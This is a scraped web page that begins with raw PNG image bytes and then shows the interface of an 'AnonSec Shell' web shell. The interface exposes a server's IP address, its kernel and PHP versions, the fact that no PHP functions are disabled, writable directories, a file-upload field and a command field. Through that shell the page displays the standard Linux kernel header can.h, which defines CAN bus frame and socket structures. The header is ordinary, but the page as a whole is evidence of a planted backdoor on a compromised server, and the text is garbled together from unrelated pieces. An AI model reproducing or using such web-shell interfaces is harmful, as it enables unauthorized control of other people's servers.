‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ Š²¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGùÍ‹Ñ™˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æ󵄵ik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ﶲ²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈDŽ¼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/include/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /usr/include/linux/can.h
/* SPDX-License-Identifier: ((GPL-2.0-only WITH Linux-syscall-note) OR BSD-3-Clause) */
/*
 * linux/can.h
 *
 * Definitions for CAN network layer (socket addr / CAN frame / CAN filter)
 *
 * Authors: Oliver Hartkopp <oliver.hartkopp@volkswagen.de>
 *          Urs Thuermann   <urs.thuermann@volkswagen.de>
 * Copyright (c) 2002-2007 Volkswagen Group Electronic Research
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of Volkswagen nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * Alternatively, provided that this notice is retained in full, this
 * software may be distributed under the terms of the GNU General
 * Public License ("GPL") version 2, in which case the provisions of the
 * GPL apply INSTEAD OF those given above.
 *
 * The provided data structures and external interfaces from this code
 * are not restricted to be used by modules with a GPL compatible license.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

#ifndef _CAN_H
#define _CAN_H

#include <linux/types.h>
#include <linux/socket.h>

/* controller area network (CAN) kernel definitions */

/* special address description flags for the CAN_ID */
#define CAN_EFF_FLAG 0x80000000U /* EFF/SFF is set in the MSB */
#define CAN_RTR_FLAG 0x40000000U /* remote transmission request */
#define CAN_ERR_FLAG 0x20000000U /* error message frame */

/* valid bits in CAN ID for frame formats */
#define CAN_SFF_MASK 0x000007FFU /* standard frame format (SFF) */
#define CAN_EFF_MASK 0x1FFFFFFFU /* extended frame format (EFF) */
#define CAN_ERR_MASK 0x1FFFFFFFU /* omit EFF, RTR, ERR flags */

/*
 * Controller Area Network Identifier structure
 *
 * bit 0-28	: CAN identifier (11/29 bit)
 * bit 29	: error message frame flag (0 = data frame, 1 = error message)
 * bit 30	: remote transmission request flag (1 = rtr frame)
 * bit 31	: frame format flag (0 = standard 11 bit, 1 = extended 29 bit)
 */
typedef __u32 canid_t;

#define CAN_SFF_ID_BITS		11
#define CAN_EFF_ID_BITS		29

/*
 * Controller Area Network Error Message Frame Mask structure
 *
 * bit 0-28	: error class mask (see include/uapi/linux/can/error.h)
 * bit 29-31	: set to zero
 */
typedef __u32 can_err_mask_t;

/* CAN payload length and DLC definitions according to ISO 11898-1 */
#define CAN_MAX_DLC 8
#define CAN_MAX_DLEN 8

/* CAN FD payload length and DLC definitions according to ISO 11898-7 */
#define CANFD_MAX_DLC 15
#define CANFD_MAX_DLEN 64

/**
 * struct can_frame - basic CAN frame structure
 * @can_id:  CAN ID of the frame and CAN_*_FLAG flags, see canid_t definition
 * @can_dlc: frame payload length in byte (0 .. 8) aka data length code
 *           N.B. the DLC field from ISO 11898-1 Chapter 8.4.2.3 has a 1:1
 *           mapping of the 'data length code' to the real payload length
 * @__pad:   padding
 * @__res0:  reserved / padding
 * @__res1:  reserved / padding
 * @data:    CAN frame payload (up to 8 byte)
 */
struct can_frame {
	canid_t can_id;  /* 32 bit CAN_ID + EFF/RTR/ERR flags */
	__u8    can_dlc; /* frame payload length in byte (0 .. CAN_MAX_DLEN) */
	__u8    __pad;   /* padding */
	__u8    __res0;  /* reserved / padding */
	__u8    __res1;  /* reserved / padding */
	__u8    data[CAN_MAX_DLEN] __attribute__((aligned(8)));
};

/*
 * defined bits for canfd_frame.flags
 *
 * The use of struct canfd_frame implies the Extended Data Length (EDL) bit to
 * be set in the CAN frame bitstream on the wire. The EDL bit switch turns
 * the CAN controllers bitstream processor into the CAN FD mode which creates
 * two new options within the CAN FD frame specification:
 *
 * Bit Rate Switch - to indicate a second bitrate is/was used for the payload
 * Error State Indicator - represents the error state of the transmitting node
 *
 * As the CANFD_ESI bit is internally generated by the transmitting CAN
 * controller only the CANFD_BRS bit is relevant for real CAN controllers when
 * building a CAN FD frame for transmission. Setting the CANFD_ESI bit can make
 * sense for virtual CAN interfaces to test applications with echoed frames.
 */
#define CANFD_BRS 0x01 /* bit rate switch (second bitrate for payload data) */
#define CANFD_ESI 0x02 /* error state indicator of the transmitting node */

/**
 * struct canfd_frame - CAN flexible data rate frame structure
 * @can_id: CAN ID of the frame and CAN_*_FLAG flags, see canid_t definition
 * @len:    frame payload length in byte (0 .. CANFD_MAX_DLEN)
 * @flags:  additional flags for CAN FD
 * @__res0: reserved / padding
 * @__res1: reserved / padding
 * @data:   CAN FD frame payload (up to CANFD_MAX_DLEN byte)
 */
struct canfd_frame {
	canid_t can_id;  /* 32 bit CAN_ID + EFF/RTR/ERR flags */
	__u8    len;     /* frame payload length in byte */
	__u8    flags;   /* additional flags for CAN FD */
	__u8    __res0;  /* reserved / padding */
	__u8    __res1;  /* reserved / padding */
	__u8    data[CANFD_MAX_DLEN] __attribute__((aligned(8)));
};

#define CAN_MTU		(sizeof(struct can_frame))
#define CANFD_MTU	(sizeof(struct canfd_frame))

/* particular protocols of the protocol family PF_CAN */
#define CAN_RAW		1 /* RAW sockets */
#define CAN_BCM		2 /* Broadcast Manager */
#define CAN_TP16	3 /* VAG Transport Protocol v1.6 */
#define CAN_TP20	4 /* VAG Transport Protocol v2.0 */
#define CAN_MCNET	5 /* Bosch MCNet */
#define CAN_ISOTP	6 /* ISO 15765-2 Transport Protocol */
#define CAN_J1939	7 /* SAE J1939 */
#define CAN_NPROTO	8

#define SOL_CAN_BASE 100

/**
 * struct sockaddr_can - the sockaddr structure for CAN sockets
 * @can_family:  address family number AF_CAN.
 * @can_ifindex: CAN network interface index.
 * @can_addr:    protocol specific address information
 */
struct sockaddr_can {
	__kernel_sa_family_t can_family;
	int         can_ifindex;
	union {
		/* transport protocol class address information (e.g. ISOTP) */
		struct { canid_t rx_id, tx_id; } tp;

		/* J1939 address information */
		struct {
			/* 8 byte name when using dynamic addressing */
			__u64 name;

			/* pgn:
			 * 8 bit: PS in PDU2 case, else 0
			 * 8 bit: PF
			 * 1 bit: DP
			 * 1 bit: reserved
			 */
			__u32 pgn;

			/* 1 byte address */
			__u8 addr;
		} j1939;

		/* reserved for future CAN protocols address information */
	} can_addr;
};

/**
 * struct can_filter - CAN ID based filter in can_register().
 * @can_id:   relevant bits of CAN ID which are not masked out.
 * @can_mask: CAN mask (see description)
 *
 * Description:
 * A filter matches, when
 *
 *          <received_can_id> & mask == can_id & mask
 *
 * The filter can be inverted (CAN_INV_FILTER bit set in can_id) or it can
 * filter for error message frames (CAN_ERR_FLAG bit set in mask).
 */
struct can_filter {
	canid_t can_id;
	canid_t can_mask;
};

#define CAN_INV_FILTER 0x20000000U /* to be set in can_filter.can_id */
#define CAN_RAW_FILTER_MAX 512 /* maximum number of can_filter set via setsockopt() */

#endif /* !_UAPI_CAN_H */

Anon7 - 2022
AnonSec Team